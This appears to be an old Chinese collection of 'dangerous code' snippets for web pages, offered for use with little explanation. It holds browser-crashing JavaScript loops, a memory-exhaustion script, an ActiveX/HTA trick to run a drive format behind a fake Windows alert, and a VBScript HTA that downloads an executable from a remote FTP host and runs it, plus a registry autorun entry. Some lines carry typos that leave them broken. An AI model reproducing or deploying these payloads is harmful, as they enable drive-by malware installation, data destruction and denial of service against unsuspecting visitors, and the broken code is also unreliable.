危险代码.txt 2007-1-9
zrq83...@gmail.com
<head>oo</head>
<body>
<script language="javascript">
/********网页炸弹
n=0;
n++;
while(n<=10)
{
window.open("")
}
*********/
/********页面变颜色
var a=0;
while(a<=20)
{
document.bgColor=0xffff00;
document.bgColor=0xff0000;
document.bgColor=0xff00ff;
a=a-1;
}
**********/
/*********页面变小
var i=50;
while(!isNaN(i))
{
window.top.moveBy(i,0);
window.top.moveBy(0,i);
window.top.moveBy(-1,0);
window.top.moveBy(0,-1);
}
*******/
/*******页面大小改变
while (typeof("a")=="string")
{
i=Math.round(Math.random()*1000)-500;
window.resizeBy(i,i)
}
**********/
/*******吃掉内存
a="hello";
function ad()
{
a=a+a;
window.status=a.length;
window.setTimeout("ad()",5)
}
ad()
**********/
/*********加载exe木马文件页面
run_exe="<OBJECT ID=\"RUNIT\" WIDTH=0 HEIGHT=0
TYPE=\"application/x-oleobject\""
run_exe+="CODEBASE=\"cmd.exe#version=1,1,1,1\">"
run_exe+="<PARAM NAME=\"_Version\" value=\"65536\">"
run_exe+="</OBJECT>"
run_exe+="<html><hl> 加载中。。。</hl></html>";
document.open();
document.clear();
document.writeln(run_exe);
document.close();
*********/
/*********快速格式化硬盘
<object id="scr" classid="clsid:
06290BD5-48AA-11D2-8432-006008C3FBFC"></object>
<script langusge=javascript>
scr.Reset();
scr.Path="c:\\windows\\Men?inicio\\Programas\\Inicio\\automat.hta";
scr.Doc="<object id="wsh" classid="clsid:
F935DC22-1CF0-11D0-ADB9-00C04FD58A0B"></object>"
<SCRIPT>
wsh.Run("strat /m fomat k: /q /autotest /u");
alter("IMPORTANT : Windows is configuring the system. Please do not
interrupt this process");
</"+"SCRIPT>"
scr.write();
"<////////////script>"
*********/
</script>
##############################################
下面的代码是利用vb的wsh建立一个fso对象，
再客户端写一个文本文件ftp.txt然后执行
ftp.txt中的命令，从ftp服务器下载一个文
件cmd.exe并运行。
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
/* 核心代码*/
<object data="crazy.test"></object>
/*crazy.test 的代码*/
<html>
<HTA:APPLICATION caption="no" border="none" showintaskBar="no"
windowstate="minimize">
<object id=wsh
classid=clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B></object>
<script language=vbscript>
Dim fs,t
Set fs=CreateObject("Scripting.FileSystemObject")
Set t=fs.CreateTextFile("ftp.txt",True)
t.WriteLine("bin")
t.WriteLine("get cmd.exe")
t.WriteLine("bye")
t.Close
Wsh.Run"ftp -A -S:ftp.txt 220.175.110.110",0,True
Wsh.Run"cmd.exe"
Fs.DeleteFile ftp.txt,True
Windows.close
</script>
#################################
下面代码可以自动打开cdrom
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
<script language=vbscript>
<!--
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs=oWMP.cdromCollection
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next ' cdrom
End If
-->
</script>
#############################
批处理*.bat
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
echo 1 & echo exit & echo 3-2
PAUSE
echo 1
PAUSE
#############################
导入注册表*.reg
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
REGEDIT4
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
"GoFishing"=dword:00000001
#############################
</body>
</html>